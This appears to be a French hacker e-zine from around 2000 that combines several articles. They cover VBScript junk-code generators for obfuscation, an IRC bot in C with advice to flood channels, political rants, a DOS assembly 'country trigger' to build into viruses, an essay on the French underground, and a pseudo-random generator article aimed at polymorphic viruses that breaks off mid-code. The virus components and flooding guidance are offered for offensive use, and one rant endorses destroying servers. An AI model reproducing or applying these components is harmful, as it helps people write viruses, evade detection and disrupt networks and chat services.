'Cette fonction permet de créer une chaîne de caractère contenant des espaces de 'nombre compris entre le nombre de la variable MinSpace et celle de la variable 'MaxSpace.
Function SpaceFunc(MinSpace, MaxSpace)
Dim b
b = Int(Rnd * (MaxSpace - MinSpace) + MinSpace)
SpaceFunc = Space(b)
End Function
Function Argument()
Dim Comment, Espace, NbAleatoire
Argument = Chaine_Aleatoire(Int(Rnd * 5), Int(Rnd * 10) + 5)
Espace = SpaceFunc(Int(Rnd * 3), Int(Rnd * 5) + 3)
NbAleatoire=Int(Rnd * 2) + 1
If NbAleatoire = 1 then Comment = vbCrLf
If NbAleatoire = 2 then Comment = Espace
If NbAleatoire = 3 then Comment = ""
Argument = "'" + Argument + Comment
End Function
'Cette fonction permet de créer une chaîne de caractère contenant 1 à 4 [entrée]
'en utilisant comme proprièté vbCrLf car vbCrLf =[entrée]
Function Enter()
Dim c, d
d = Int(Rnd * 4) + 1
For c = 0 To d
Enter = Enter + vbCrLf
Next
End Function
'Cette fonction permet de créer une chaîne de caractère de longueur entre 3 et 11 et 'avec comme caractère des majuscules car le code ASCII est compris entre 25 et 90 .
Function HOho()
dim n, m, longueur
randomize
longueur = int(rnd * 8) + 3
for n = 1 to longueur
m = chr(int(rnd*25)+65)+m
next
HOho = m
End Function
---------------------------------------------------------------------------
SLy
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
IRC BOT: part I
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Disclaimer : L'auteur fournit ici un texte à but purement informatif. Il ne peut-être responsable de l'usage fait des informations fournites.
Qu'est-ce qu'un bot irc ? Il s'agit d'un automate (entendez par là un programme) qui va se comporter comme n'importe quel utilisateur connecté à l'irc. L'intérêt d'un bot est multiple : garder le chanop d'un channel (que l'on a récupéré par irc split), créer des clones, créer un irc file server, flooder un chan...
Le principe est simple il consiste à ouvrir une socket en mode texte sur le serveur irc puis à respecter le protocole irc.
En gros on commence par ouvrir une socket sous forme d'un fichier, puis on répond au requete PING par un message PONG.
Voici un exemple de bot tout simple : il va dans un chan passer en argument et execute toute les lignes envoyer dans ce chan commençant par !.
Explication du code source :
* la fonction socket_connection effectue une banal connection réseau au serveur.
* la fonction init_irc_connection envoie les commandes de connections au serveur irc.
Ces commandes sont :
_ "NICK <nickname>" : donne simplement au serveur le nom du bot. Elle permet également de changer son nickname au cours d'une session irc.
_ "USER <username> <hostname> <servername> :<realname>" :
donne au serveur differentes donnée : le nom de l'utilisateur, son ip, le server sur lequel il est connectee et le nom reel du bot. Les paramètres hostname et servername ne serve en réalité que pour les connection serveur irc vers serveur irc. Bon ici on envoie partout le nick du bot
A noter que les deux commandes NICK et USER constitue l'enregistrement du client auprès du serveur : ce sont des étapes obligatoire : à partir dela on est client irc.
_ "PING :<addr>" -> "PONG :<addr>" : la fonction ping sert à tester si le client est présent en l'ocurrence il l'effectue une fois l'enregistrement passé. A un message ping on repond logiquement pong avec la meme addresse.
_ "JOIN <chan>[,<chan1>...] [<key1>[,<key2>...]]" : Cette fonction sert à joindre et si besoin créer un ou plusieurs channel avec ou sans mot de passe. Ici on join un pauv chan basic sans rien de plus...
* la fonction irc_action : c'est celle qui constitue réellement le bot : elle est executé sans fin.
Cette fonction attends des lignes venant du serveur, les affiche et les interprète. Les réactions possiblent sont :
_ A un message PING : Il PONG
_ A un message du style "PRIVMSG <chan> :!" où <chan> est le nom du channel par défaut : il interprète la suite du message comme une commande à envoyer au serveur.
La commande "PRIVMSG <receiver>[,<receiver2>...] :<text>" : envoie le text <text> au(x) channel(s) ou utilisateur(s) <receiver>(,<receiver2>...).
A noter que si la commande passer apres le '!' est QUIT alors la fonction le détecte et quitte.
Voici maintenant le code source :
<-- begin bot1.c -->
<-- cut here -->
/********************************************
* bot1.c by S/asH *
* It's just a little irc bot with bases *
* commands. *
* for making : gcc bot1.c -o bot1 *
* Greetz to : RTCG4ng *
* and the one who has teached me all *
* about irc bot : he will recognize *
* himself. *
********************************************/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
/* default irc port */
#define IRCPORT 6667
/* Command type */
#define HD_CMD_TYPE "PRIVMSG %s :!"
/* IRC Commands List */
#define PING_CMD "PING :%s\n"
#define PONG_CMD "PONG :%s\n"
#define NICK_CMD "NICK %s\n"
#define USER_CMD "USER %s %s %s :%s\n"
#define JOIN_CMD "JOIN %s %s\n"
#define QUIT_CMD "QUIT\n"
/********************************************
* socket_connection : connect to server *
* Input : sa : sockaddr_in structure *
* Output : s : socket number *
********************************************/
int socket_connection(char *host, int port, struct sockaddr_in *sa)
{
int s;
struct hostent *he;
/* socket connection to server */
s = socket(PF_INET, SOCK_STREAM, 0);
sa->sin_family = AF_INET;
sa->sin_port = htons(0);
inet_aton("0.0.0.0", &(sa->sin_addr));
if (bind(s, (struct sockaddr *) sa, sizeof (*sa)))
{
perror("bind");
exit(1);
}
he = gethostbyname(host);
if (!he)
{
herror("looking up server");
exit(2);
}
sa->sin_addr.s_addr = *((u_int32_t *) he->h_addr);
sa->sin_port = htons(port);
printf("server address is %s\n", inet_ntoa(sa->sin_addr));
if(connect(s, (struct sockaddr *)sa, sizeof (*sa)))
{
perror("connect");
exit(1);
}
/* connected to server */
return s;
}
/********************************************
* init_irc_connection : initialize irc *
* Input : s : socket number *
* sa : addresse structure *
* socklen : size of sa *
* nick : bot's nickname *
* channel : chan to join *
********************************************/
void init_irc_connection(int s, struct sockaddr *sa, long socklen, char *nick, char *channel)
{
int n; char buf[10000];
/* sending nick/user */
sprintf(buf, NICK_CMD, nick);
if(sendto(s, buf, strlen(buf), 0, sa, socklen) < 0)
{
perror("sendto");
exit(1);
}
sprintf(buf, USER_CMD, nick, nick, nick, nick);
if(sendto(s, buf, strlen(buf), 0, sa, socklen) < 0)
{
perror("sendto");
exit(1);
}
/* PING ? -> PONG ! */
if((n=recvfrom(s, buf, sizeof(buf), 0, NULL, NULL)) < 0)
{
perror("recvfrom");
exit(-1);
}
if(!strncasecmp(buf, PING_CMD, 4))
{
buf[1] = 'O';
if(sendto(s, buf, strlen(buf), 0, sa, socklen) < 0)
{
perror("sendto");
exit(-1);
}
}
else /* Quit if error */
{
write(1, buf, n);
if(sendto(s, QUIT_CMD, strlen(QUIT_CMD), 0, sa, socklen) < 0)
{
perror("sendto");
exit(-1);
}
exit(2);
}
/* Joining channel */
sprintf(buf, JOIN_CMD, channel, "");
if(sendto(s, buf, strlen(buf), 0, sa, socklen) < 0)
{
perror("sendto");
exit(1);
}
}
/********************************************
* irc_action : action to do in the irc *
* Input : s : socket number *
* sa : addresse structure *
* socklen : size of sa *
* actionstr : request format str *
* Output : 1 : quit, 0 : continue *
********************************************/
int irc_action(int s, struct sockaddr *sa, long socklen, char *actionstr)
{
int n;
char buf[10000];
char *tmp;
if((n=recvfrom(s, buf, sizeof(buf), 0, NULL, NULL)) < 0)
{
perror("recvfrom");
exit(-1);
}
buf[n] = 0; /* removing everything after the CR */
write(1, buf, n);
/* PING Message */
if(!strncasecmp(buf, "PING", 4))
{
buf[1] = 'O';
if(sendto(s, buf, strlen(buf), 0, sa, socklen) < 0)
{
perror("sendto");
exit(-1);
}
}
/* Action requesting by user */
else if(strstr(buf, actionstr))
{
tmp = strstr(buf, actionstr) + strlen(actionstr);
if(sendto(s, tmp, strlen(tmp), 0, sa, socklen) < 0)
{
perror("sendto");
exit(-1);
}
if(strncasecmp(tmp, QUIT_CMD, strlen(QUIT_CMD)-1)==0)
{
printf("Exiting...\n");
return 1;
}
}
return 0;
}
/********************************************
* main : the main procedure *
* Input : argc : arguments counter *
* argv : arguments list *
********************************************/
int main(int argc, char* argv[])
{
int s;
struct sockaddr_in sa;
char actionstr[100];
if((argc<=3) || (argc>=6))
{
printf("Syntax : bot1 servname nickname channel [port]\n",argc);
exit(-1);
}
sprintf(actionstr, HD_CMD_TYPE, argv[3]);
/* connection to server */
s = socket_connection(argv[1], (argc != 4) ? atoi(argv[4]) : IRCPORT, &sa);
/* Initializing irc connection */
init_irc_connection(s, (struct sockaddr *) &sa, sizeof(sa), argv[2], argv[3]);
/* main loop */
while (!irc_action(s, (struct sockaddr *) &sa, sizeof(sa), actionstr));
return 0;
}
<-- cut here -->
<-- end bot1.c -->
Alors si vous voulez tester des commandes irc je
vous conseille d'utiliser telnet sur le port irc
(normalement 6667).
Il est bô ce bot mais qu'est-ce-qu'on peut en faire ?
-> irc flood mais n'en abuser pas trop (faite le sur
#neo-nazis ou sur #teen)
etc...
Voilà c'est fini pour l'instant.
Ressources : ircd : serveur irc sous unix
RFC 1459 : RFC du protocol IRC
Greetz : RTCG4ng
celui qui m'a tout appris sur les irc bots ;il se reconnaitra : on a passer une apres-midi entiere a flooder un chan avec plus de 100 bots en parallèles et on a fini par le récupérer grace à bitchX.
<-- File by S/asH -->
[EOF]
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
On the BeHalf of BrightNeSS...
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
02/07/2000, 21heures 29minutes et 12 secondes. Les italiens, dans une frénésie infernale, se déchainent. C'est 1 seconde plus tard que la France se met à chanter. La tendance s'inverse et avec elle le rapport de force. Le renouveau de l'équipe de France de foot est la projection d'un renouveau Français dans tous les domaines, y compris le hacking...
Le chemin de cette équipe est long, difficile, à l'image de celui de la RTC et des autres précurseurs bien souvant perçus comme des gladiateurs dont le but est de courrir à la perte à cause d'une seule motivation; l'homme contre la bête. La tendance s'est en effet inversée: l'homme est devenu hacker et la bête est devenue commerciale. La RTC, de par son envie, sa cohésion sociale dans le travail, dans l'entraide, dans la volonté de faire avancer les choses, de permettre les exploits; ne possède qu'un but, qu'une motivation: ralier des hommes à sa cause, pour qu'elle en devienne populaire, dans une quête sans fin; celle de repousser les limites, les limites de la solidarité, les limites de la lutte que ce soit contre la stupidité des hommes, contre leur cessité, contre leur trop grande tendance à se voiler la face afin de se masquer le réel et de s'en constituer un autre.
Cette cohésion sociale, cette authentique solidarité, est la même qu'il y a deux ans, celle qui avait réuni toutes les ethnies, toutes les tendances, refait surface cette année. Oui! 90 minutes de sport et Français, de souche ou non, se regroupent ne font qu'une seule entité: l'Entité Française! Cette même Entité qui fait mentir bon nombre d'hommes, à l'image d'un certain JM Le Pen et ses amis à classer dans les inclassables... Oui, Monsieur Le Pen, il n'y a pas des frances de RACES, mais il y a une France, au même titre qu'il n'y a pas des hackers mais un Hacker qui possède les mêmes règles et est égal devant une chartre, celle du Hacker!
Alors, messieurs les nazis, xénophobes, et autres, vous êtes des êtres humains, au même titre que n'importe quel homme de cette terre, à cette différence près que vous ne possédez pas toutes vos facultés mentales pour mettre un voile et laisser dans un coin perdu de votre boîte crânienne, une certaine ShoaH ou bien encore une ApartheiD qui selon moi ne peut que se réveiller à l'approche de la notion de Liberté... Vous êtes donc bien placé pour ôser aborder des notions que votre entendement est incapable d'appréhender!
Darwin écrivait dans son ouvrage: "Le plus fort subsiste car il en possède le pouvoir suffisant, à la différence du plus faible qui lui en est dépossédé".La théorie de l'évolution des espèces s'appliquait à sa base aux animaux ainsi qu'aux hommes primitifs. Qu'êtes-vous à mes yeux, excepté des bêtes sauvages agissant par instinct et non par réflexion, des hommes primitifs dont l'unique but est la recherche des intérêts personnels fondée sur l'intolérance?
Chez nous, l'individualisme conduit à la perte. Quelle perte? Celle de l'identité. Marx posait en avant une thèorie sur la "conscience de classe", ici la classe du Hacker est la même que celle de l'Homme, elle est universelle: elle se veut avoir pour unique finalité la défense de la Liberté, vous savez, celle qui fut baffouée. Vous, les racistes, en savez quelque chose. Comment peut-on soutenir des propos fascistes étant nés dans la génération des désastres? Les images des KZ ont été diffusées en masse de façon à faire réagir: qui peut affirmer dignement ne pas avoir senti du dégout, de la fureur, de la profonde haine à la vue de ces clichés?
Je lance ici un simple appel à la réflexion. Je ne prône pas plus l'altruisme que je ne prohibe l'individualisme. Nous sommes défenseurs des libertés... jusqu'à quel point faut-il en subir le poids? .....
SnEaKie
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
La bOmb du mAg : une gâchette basée sur le pays
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Pas de bombe complète cette fois mais simplement une petite gâchette basée sur le pays. C'est facile à faire, ça s'intègre à n'importe quel virus. Le code est archi simple, on fait un simple appel à la fonction 38h de l'interruption 21h. Cette fonction renvoie tout un tas d'informations sur le pays en question. On a juste besoin d'un buffer de 40 octets qui sera actualisé après l'appel.
--------------------------------CUT HERE-----------------------------
COUNTRY:
mov ah,38h
mov al,0
mov dx,offset buffer
int 21h
cmp bx,XX
ret
--------------------------------CUT HERE-----------------------------
Là, je vais me prendre un Coca parce que je suis trop crevée. En fait, je n'ai pas tout à fait fini. C'est bien beau tout ça mais ça ne nous dit pas à quoi on compare bx. Tout l'intérêt est de connaître le code du pays que l'on vise. Et là, Androgyne arrive. En fait, les codes pays pour PC sont exactement les mêmes que les codes téléphoniques internationaux (enfin des gars pas trop cons qui ont réfléchi 5 minutes avant de faire une connerie qui coûte des milliards comme le non bug de l'an 2000).
Voici donc le détail de la fonction 38h.
---------------------------------------------------------------------
Fonction 38h : Get country/specific information
paramètres d'entrée:
AH=38h
DS:DX=pointeur sur le buffer où mettre les infos
si on veut les infos concernant le pays dans lequel on se trouve,
AL=00h
si on veut les infos concernant un pays particulier,
AL=code du pays si le code est entre 01h et FEh
ou
AL=FFh
BX=code 16 bits du pays
paramètres de sortie:
C mis à 1 s'il y a eu une erreur
AX=code d'erreur si échec
C mis à 0 s'il n'y a pas eu d'erreur
BX=code 16 bits du pays
DS:DX le buffer est actualisé
---------------------------------------------------------------------
Le buffer est actualisé comme suit (c'est en anglais, j'ai pas eu le temps de le traduire) :
---------------------------------------------------------------------
Offset Taille Description
00h WORD date format 0 = USA mm dd yy
1 = Europe dd mm yy
2 = Japan yy mm dd
02h 5 BYTEs ASCIZ currency symbol string
07h 2 BYTEs ASCIZ thousands separator
09h 2 BYTEs ASCIZ decimal separator
0Bh 2 BYTEs ASCIZ date separator
0Dh 2 BYTEs ASCIZ time separator
0Fh BYTE currency format
bit 2 = set if currency symbol replaces decimal point
bit 1 = number of spaces between value and currency symbol
bit 0 = 0 if currency symbol precedes value
1 if currency symbol follows value
10h BYTE number of digits after decimal in currency
11h BYTE time format
bit 0 = 0 if 12-hour clock
1 if 24-hour clock
12h DWORD address of case map routine
(FAR CALL, AL = character to map to upper case [>= 80h])
16h 2 BYTEs ASCIZ data-list separator
18h 10 BYTEs reserved
---------------------------------------------------------------------
Et finalement, les codes de quasiment tous les pays... (également en anglais, là je pense qu'il ne devrait pas y avoir de problèmes de traduction)
---------------------------------------------------------------------
001h United States
002h Canadian-French
003h Latin America
014h Egypt
01Bh South Africa
01Eh Greece
01Fh Netherlands
020h Belgium
021h France
022h Spain
024h Hungary (not supported by DR DOS 5.0)
026h Yugoslavia (not supported by DR DOS 5.0) -- obsolete
027h Italy / San Marino / Vatican City
028h Romania
029h Switzerland / Liechtenstein
02Ah Czechoslovakia / Tjekia (not supported by DR DOS 5.0)
02Bh Austria (DR DOS 5.0)
02Ch United Kingdom
02Dh Denmark
02Eh Sweden
02Fh Norway
030h Poland (not supported by DR DOS 5.0)
031h Germany
033h Peru
034h Mexico
035h Cuba
036h Argentina
037h Brazil (not supported by DR DOS 5.0)
038h Chile
039h Columbia
03Ah Venezuela
03Ch Malaysia
03Dh International English / Australia
03Eh Indonesia / East Timor
03Fh Philippines
040h New Zealand
041h Singapore
051h Japan (DR DOS 5.0, MS-DOS 5.0+)
052h South Korea (DR DOS 5.0)
054h Vietnam
056h China (MS-DOS 5.0+)
058h Taiwan (MS-DOS 5.0+)
05Ah Turkey (MS-DOS 5.0+)
05Bh India
05Ch Pakistan
05Dh Afghanistan
05Eh Sri Lanka
062h Iran
063h Asian English
070h Belarus
0C8h Thailand
0D4h Morocco
0D5h Algeria
0D8h Tunisia
0DAh Libya
0DCh Gambia
0DDh Senegal
0DEh Maruitania
0DFh Mali
0E0h African Guinea
0E1h Ivory Coast
0E2h Burkina Faso
0E3h Niger
0E4h Togo
0E5h Benin
0E6h Mauritius
0E7h Liberia
0E8h Sierra Leone
0E9h Ghana
0EAh Nigeria
0EBh Chad
0ECh Centra African Republic
0EDh Cameroon
0EEh Cape Verde Islands
0EFh Sao Tome and Principe
0F0h Equatorial Guinea
0F1h Gabon
0F2h Congo
0F3h Zaire
0F4h Angola
0F5h Guinea-Bissau
0F6h Diego Garcia
0F7h Ascension Isle
0F8h Seychelles
0F9h Sudan
0FAh Rwhanda
0FBh Ethiopia
0FCh Somalia
0FDh Djibouti
0FEh Kenya
0FFh Tanzania
100h Uganda
101h Burundi
103h Mozambique
104h Zambia
105h Madagascar
106h Reunion Island
107h Zimbabwe
108h Namibia
109h Malawi
10Ah Lesotho
10Bh Botswana
10Ch Swaziland
10Dh Comoros
10Eh Mayotte
122h St. Helena
129h Aruba
12Ah Faroe Islands
12Bh Greenland
15Eh Gibraltar
15Fh Portugal
160h Luxembourg
161h Ireland
162h Iceland
163h Albania
164h Malta
165h Cyprus
166h Finland
167h Bulgaria
172h Lithuania
173h Latvia
174h Estonia
175h Moldova
17Dh Serbia / Montenegro
181h Croatia
182h Slovenia
183h Bosnia-Herzegovina (Latin)
184h Bosnia-Herzegovina (Cyrillic)
185h FYR Macedonia
1A5h Czech Republic
1A6h Slovakia
1F4h Falkland Islands
1F5h Belize
1F6h Guatemala
1F7h El Salvador
1F8h Honduras
1F9h Nicraragua
1FAh Costa Rica
1FBh Panama
1FCh St. Pierre and Miquelon
1FDh Haiti
24Eh Guadeloupe
24Fh Bolivia
250h Guyana
251h Ecuador
252h rench Guiana
253h Paraguay
254h Martinique / French Antilles
255h Suriname
256h Uruguay
257h Netherland Antilles
29Eh Saipan / N. Mariana Island
29Fh Guam
2A0h Norfolk Island (Australia) / Christmas Island/Cocos Islands / Antartica
2A1h Brunei Darussalam
2A2h Nauru
2A3h Papua New Guinea
2A4h Tonga Islands
2A5h Solomon Islands
2A6h Vanuatu
2A7h Fiji
2A8h Palau
2A9h Wallis & Futuna
2AAh Cook Islands
2ABh Niue
2ACh American Samoa
2ADh Western Samoa
2AEh Kiribati
2AFh New Caledonia
2B0h Tuvalu
2B1h French Polynesia
2B2h Tokealu
2B3h Micronesia
2B4h Marshall Islands
311h Arabic (Middle East/Saudi Arabia/etc.)
324h Ukraine
329h Antigua and Barbuda / Anguilla / Bahamas / Barbados / Bermuda
British Virgin Islands / Cayman Islands / Dominica / Dominican Republ.
Grenada / Jamaica / Montserra / St. Kitts and Nevis / St. Lucia
St. Vincent and Grenadines / Trinidad and Tobago / Turks and Caicos
352h North Korea
354h Hong Kong
355h Macao
357h Cambodia
358h Laos
370h Bangladesh
3C0h Maldives
3C1h Lebanon
3C2h Jordan
3C3h Syrian Arab Republic
3C4h Ireq
3C5h Kuwait
3C6h Saudi Arabia
3C7h Yemen
3C8h Oman
3CBh United Arab Emirates
3CCh Israel (DR DOS 5.0,MS-DOS 5.0+)
3CDh Bahrain
3CEh Qatar
3CFh Bhutan
3D0h Mongolia
3D1h Nepal
3E3h Myanmar (Burma)
Note: not all country codes are supported by all versions of DOS
---------------------------------------------------------------------
Pour finir, je vais citer le virus Pearl Harbor qui possédait une gâchette de ce type associée à une gâchette sur la date (voir RTC m4g n°1). Pearl Harbor se déclenchait uniquement au Japon, le 7 décembre. Qu'ils sont drôles ces auteurs de virus...
By Androgyne
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
MOBILISATION GENERALE !!!
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
D 'autant n'emporte le propos,
Nous resterons toujours debout !
D 'autant n'emporte le propos,
Les fachos nous aurons pas !
L'ennemi nous attends au tournant,
Nous serons toujours fidele au rendez vous !
A l' aube de la revolution
Les fachos nous les niquerons !
Nous irons les couilles en avant,
Aux cotes de Che Gue Morvan !
L'ennemi nous attends au tournant,
Nous serons toujours fidele au rendez vous !
Hissez haut, le drapeau noir...
C'est sur ces bonnes paroles des Pouss' Megos que je debute donc ce "coup de gueule"
à propos d'un des grands points d'interrogations qui pose actuellement probleme.
Le fascisme (et la pedophilie) sur un internet est grandissant grace a cette heureuse
(et dans ce cas present, malheureuse) pseudo liberte qui reigne encore un peu sur internet.
Comment lutter ?
Le choix de certains pays a été donc de responsabiliser tous les serveurs (Ceux-ci sont donc responsabe du contenu de leur page). La methode est simple, et peut ,peut-etre, fonctionner mais elle reste inutile. En effet cette responsabilite n'existe pas dans tous les pays. De plus ceux ci possedent desormais leur propre serveur alors cette loi ne sert a rien. La police, aujourd'hui, semble depourvu de moyen. Je ne desire pas aller contre les lois qui sont necessaires. Je pense qu' actuellement les "hackers" qui sont consideres comme dangereux et hors la loi essayent beaucoup plus de lutter contre eux et sont nettement plus efficace pour l'instant, que ceux qui sont payes pour faire respecter la loi et nos droits. Biensur leurs exploits ne sont publiés ou diffusés uniquement lorsque une grosse societe a été touchée ou lorsque que l'on peut trouver un interet economique a l'événement. Leur image est donc bafoué soit par des petits merdeux utilisant leur logiciel, soit par des personnes qui se sont laissés convaincre par l argent.
Or certains hackers ne sont pas de ceux ci et n'ont pas pour but de detruire niquement pour l argent ou pour s'amuser. Certains ont des buts moraux plus qu'economiques, bien sur ils detruisent, mais quand il s'agit d'exploser un serveur de pedophilie (ou hebergeant leurs sites) je pense que personne ira se plaindre. A quand les medias parlerons de nous en bien. C' est peut-etre a nous de montrer notre travail et nos possibilites : reste a savoir si tout le monde possede les meme convictions que moi et desire prendre le meme chemin.
Remarque et incomprehension:
Lorsque Yahoo a fait scandale au moment ou il hebergeait un forum de vente d'objet Nazi il s'est refuser (au debut) a faire quoi que ce soit pour me vaquer ça : là je comprends quand il repond que ce n'est pas de ça faute. Mais pendant que ce forum existait Yahoo ce faisait un joyeux plaisir d'enlever de leur moteur de recherche tous les sites de hacks. Ici subsiste une incomprehension dans mon esprit qui je l espere peut provoquer des reactions de votre part.
Dommage internet etait si bien parti pour devenir le seul endroit sur cette terre ou l'on pouvait se permettre d' exister sans police (pour faire reigner l'ordre) ni argent. L' ordre et la loi etant gerer par la moral de chacuns des internautes : UN MONDE SANS FLICS, MERDE, CA VALAIT LE COUP D ESSAYER !!
Et bien non, les humains sont vraiment tous des cons de gacher cette si belle occasion mais bon c'est comme ça: c'est pourquoi les hackers se doivent d'exister.
Oui la liberte sur internet doit exister mais pas pour les fascistes et tous ceux qui
pourrissent mon monde , NOTRE MONDE.
PS: Ne vous y méprenez pas, lorsque j donne une certaine utilité à la loi sur les hebergeurs, j veux parler d'une loi qui interdirait les sites nazis et pedophiles. Le probleme est que, NSA, DGSE, DST, site commerciaux oblige, une telle loi finirait par permettre une prise de controle d'internet. L'anarchy parait etre la seule solution...
MoRPheE.
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
L'UndeRgrOUnd FranCais
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Ce texte est largement inspire par l'article du meme nom de NeurAlien pour CORE DUMP (il est paru en francais dans le NoWay III).
Introduction :
L'underground francais a commencé à exister par NeurAlien et son mag NoWay. A l'epoque, il n'etait qu'un petit ilot quasi-inexistant animer d'une franche volonte de savoir. A succeder à Noway et NeurAlien, NoRoute and The Philament Empire, le PhE, que nous regrettons tous, et feu CoD4 ont tres vivement participé au developpement de l'underground francais entre 1995 et 1997. sORC3Ry ne pensait surement pas qu'en ecrivant son edito il ne verrait pas l'an 1998 de l'underground.
Pour ma part, j'ai commencer a decouvrir ce monde en 1997 et j'ai vu mourrir PhE. Avec lui est partit tout un esprit instaure par NeurAlien. J'ai ainsi errer pendant plusieurs années sur le net a la recherche de ce monde perdu et tout ce que j'y ai vu c'est le vide.
Actuellement :
Je me demande si je peut considerer que l'underground francais renait par la creation de nouveau groupe, du 2600 francais, etc... mais une chose est sur :
Il revient sans son esprit, ses regles intrinseques. On aurait jamais osé auparavant faire du crashing a tout bout de champs, bloquer les sites des autres groupes... rien que pour se la peter. Maintenant, seule compte la loi du plus fort ... en gueule : si on regarde les mecs sur l'irc ils se crachent a la gueule les uns sur les autres en utilisants leurs pauv sockets de troie pour se faire passer pour des 3lit3s. De plus l'Internet a ete envahit par les commerciaux : ils sont en trains de faire de lui ce qu'ils ont fait aux ondes hertziennes : un monde de publicite sans informations reelles. Il n'est plus rare maintenant de ne pas trouver la documentation sur un quelconque probleme non pas parce que personne ne l'a encore fait mais parce que cette page n'est pas indexe du au sur-flots des sites internet. Ainsi actuellement, les grands moteurs de recherche
n'indexent plus les pages personnels qui sont les pages apportants le plus de richesse a l'internet.
A ceci, s'ajoute un nouveau comportement, celui qui croit toujours tout savoir et qui, du coup, raconte tout et n'importe quoi. Un exemple flagrant est une personne lorsque je lui ai introduit le debut d'un script pour lui poser un pb a dit que la ligne '#!\bin\sh' etait une ligne de commentaire : je le prierai d'aller voir dans la man page du bash et de chercher '#!'. (NB : le '#!' sert a indique dans un script l'interpreteur de celui-ci)
Conclusion :
Je veux bien que l'underground renaisse, c'est d'ailleur tout ce que je souhaite mais avec d'autres comportements que ceux adopter maintenant. Il faut aller de l'avant et ne pas stagner en cherchant a peter plus haut que son cul. Et nous devons chercher a ce que l'internet reste un monde de connaissance et ne deviennent pas une nouvelle television... Il faut que l'internet reste un monde d'entraide pour le progres mutuel
NeurAlien, NoWay, PhE : Nous vous regrettons...
Greetz : NeurAlien et Noway
PhE, CoD4, sORC3Ry et NoRoute
"Grow, Forth, multiply and fill the Earth"
<-- Filez by S/asH -->
[EOF]
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Les générateurs de nombres pseudo-aléatoires
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Intro
I) Qu'est-ce qu'un GNPA ?
II) Des exemples de GNPA
1> Les GNPA congruentiels linéaires d'ordre 1
2> Les GNPA congruentiels linéaires d'ordre 2
3> D'autres GNPA
III) Les codes de deux GNPA
1> un générateur congruentiel linéaire d'ordre 1 : LCG32
2> un générateur congruentiel linéaire d'ordre 2 : Androgynerator
Intro
======
Pourquoi faire un article sur les générateurs de nombres pseudo-aléatoires (GNPA) ? Sachez que ces générateurs servent beaucoup aux virus polymorphes. Pas de générateurs, pas de polymorphisme. Toutes les "décisions" que le moteur de polymorphisme prend viennent du GNPA. Il est donc nécessaire d'avoir un bon générateur et les bons générateurs sont rares. Aussi ai-je décidé d'étudier les GNPA.
I) Qu'est-ce qu'un GNPA ?
==========================
L'appellation "pseudo aléatoire" vient du fait qu'il est impossible de créer des nombres aléatoires de manière algorithmique. C'est comme ça. Un générateur doit donc s'efforcer de créer une suite de nombres qui n'ont apparemment aucun lien entre eux. Pour mesurer si un générateur est bon, il faut :
- veiller à ce qu'il n'y ait aucune boucle. Si le GNPA entre dans une boucle, le virus polymorphe ne pourra exister que sous un nombre réduit de forme, le polymorphisme est alors inutile.
- veiller à ce que la fréquence des nombres tirés soit globalement la même pour tous les nombres. Quand je dis "globalement", cela veut dire qu'il ne faut pas que certains nombres soient tirés à une fréquence 2 ou 3 fois plus élevée que d'autres.
A partir de ces principes, on peut imaginer toutes sortes d'algorithmes. Je vais vous en donner quelques uns dont certains sont très classiques.
II) Des exemples de GNPA
=========================
1> Les GNPA congruentiels linéaires d'ordre 1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ce sont les plus courants et les plus faciles à faire. la suite de nombres obéit à une récurrence linéaire d'ordre 1 congruentielle (un peu barbare comme appellation mais c'est pas moi qui l'ai inventée). En gros, la relation de récurrence qu'ils utilisent est de la forme :
X(n+1) = (A * X(n) + C) mod M
où A, C et M sont des nombres bien choisis (généralement les nombres premiers donnent de bons résultats). Ces générateurs sont assez simples à coder en assembleur. Il y a un exmple dans le m4 n°2 dans l'article "La Bombe du mag : Kill-R". Evidemment, vous pouvez choisir d'autres valeurs pour A, C et M. Des valeurs bien choisie donneront une boucle d'au plus M élément (par définition même de la relation congruentielle). C'est déjà pas mal...
Pour tester des valeurs, je vous conseille de créer un petit programme Pascal qui fait tourner le générateur (ou une procédure semblable). Voici deux exemples pour vérifier les deux critères qui nous intéressent. Le premier Loop calcule la longueur d'une boucle à partir d'une entrée aléatoire, le second Freq trace un graphe de fréquence.
--------------------------------CUT HERE-----------------------------
program Loop;
uses crt,graph;
const
m=43691;
a=13;
c=14449;
var
Rand_Seed:longint;
i,start,First:longint;
function Get_Random(number:longint):longint;
begin
Get_Random:=(a*number+c) mod m;
end;
begin
clrscr;
randomize;
First:=random(m);
Rand_Seed:=Get_random(First);
i:=2;
while (Rand_Seed<>First) do begin
Rand_Seed:=Get_Random(Rand_Seed);
inc(i);
end;
write('avec ',First,', la boucle a une longueur de ',i,'.');
readkey;
end.
--------------------------------CUT HERE-----------------------------
--------------------------------CUT HERE-----------------------------
program Freq;
uses crt,graph;
const
m=43691;
a=13;
c=14449;
var
Rand_Seed:longint;
i,start:longint;
tablo:array [0..m div 4] of longint;
procedure VGAGraph;
var driver,mode:integer;
begin
driver:=9;
mode:=2;
initgraph(driver,mode,'d:\pascal\bgi');
end;
function Get_Random(number:longint):longint;
begin
Get_Random:=(a*number+c) mod m;
end;
begin
clrscr;
randomize;
Rand_Seed:=random(m);
for i:=1 to 436 do tablo[i]:=0;
for i:=1 to 2000000 do begin
Rand_Seed:=Get_Random(Rand_Seed);
inc(tablo[Rand_Seed div 4]);;
end;
VGAGraph;
setbkcolor(0);
for start:=1 to (m div 4)-640 do begin
